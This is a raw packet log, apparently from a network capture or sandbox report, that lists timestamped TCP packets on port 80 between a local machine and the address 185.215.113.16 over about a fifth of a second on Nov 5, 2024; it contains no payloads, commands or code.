Nov 5, 2024 20:52:09.278106928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278140068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278163910 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.278175116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278211117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278235912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.279237032 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358366966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358392954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358411074 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358424902 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358442068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358443975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358458996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358483076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358483076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358537912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358572960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358588934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358603001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358618021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358624935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358655930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358670950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358684063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358684063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358685017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358701944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358716965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358726978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358732939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358743906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358752966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358757973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358773947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358781099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358791113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358794928 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358807087 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358825922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358855009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358861923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358876944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358891010 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358902931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358906984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358923912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.358930111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358930111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358972073 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.358972073 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359091043 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359107018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359122038 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359137058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359152079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359158993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359165907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359185934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359188080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359201908 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359206915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359220028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359225988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359241009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359400034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359416008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359431028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359432936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359457970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359503984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359519005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359530926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359541893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359560013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359560013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359564066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359589100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359648943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359662056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359675884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359687090 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359692097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359699011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359707117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359716892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359723091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359731913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359761953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359761953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359764099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359781981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359796047 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359803915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359811068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359826088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.359831095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359875917 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359875917 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.359889030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360135078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360183001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360198975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360224009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360313892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360330105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360343933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360353947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360369921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360377073 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360377073 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360393047 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360399008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360414028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360429049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360440016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360477924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360485077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360485077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360495090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360510111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360534906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360549927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360559940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360564947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360591888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360605955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360605955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360605955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360625982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360631943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360641956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360657930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360667944 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.360675097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.360699892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.362860918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.392574072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392592907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392610073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392633915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392649889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392682076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.392709970 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392740011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.392771959 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392788887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392798901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.392837048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392863035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392864943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.392935991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392952919 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.392962933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393004894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393021107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393028975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393039942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393054962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393064976 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393080950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393099070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393100023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393114090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393140078 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393193960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393208981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393224001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393238068 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393239975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393259048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393264055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393285036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393286943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393311977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393321991 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393327951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393340111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393373966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393373966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393405914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393420935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393436909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393450975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393459082 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393459082 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393475056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393495083 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393508911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393523932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393537045 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393541098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393563032 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393568039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393585920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393589973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393613100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393646002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393718958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393733025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393745899 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393749952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393767118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393771887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393785000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393796921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393810034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393862963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393877029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393891096 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393892050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393908024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.393917084 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393933058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393933058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.393973112 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394000053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394016981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394043922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394058943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394074917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394088030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394090891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394095898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394095898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394133091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394149065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394161940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394165039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394182920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394198895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394203901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394215107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394243002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394243002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394248009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394274950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394289017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394304037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394309998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394330025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394330978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394344091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394361019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394367933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394386053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394438982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394454956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394469023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394471884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394475937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394490004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394496918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394506931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394531965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394545078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394558907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394572973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394669056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394695997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394696951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394718885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394743919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394846916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394862890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394876957 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394877911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394902945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394949913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394968987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.394978046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.394984007 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.395000935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.395009041 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.402862072 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.475778103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.475816965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.475831985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.475847960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.475927114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.475927114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.476020098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476035118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476048946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476145029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476164103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476175070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.476180077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476291895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.476726055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476836920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476852894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476886034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.476970911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476989031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.476998091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.477015018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.477732897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.477749109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.477763891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.477787018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.477874041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.477890968 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.477901936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.477947950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.477948904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478180885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478208065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478223085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478384972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478400946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478410959 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478416920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478442907 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478545904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478612900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478627920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478642941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478720903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478734970 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478749037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478749990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478773117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478780985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478799105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478813887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478827953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478827953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478843927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478852987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478861094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478871107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478876114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478902102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478902102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478914976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478931904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.478931904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478950024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.478959084 CET	50011	80	192.168.2.6	185.215.113.16
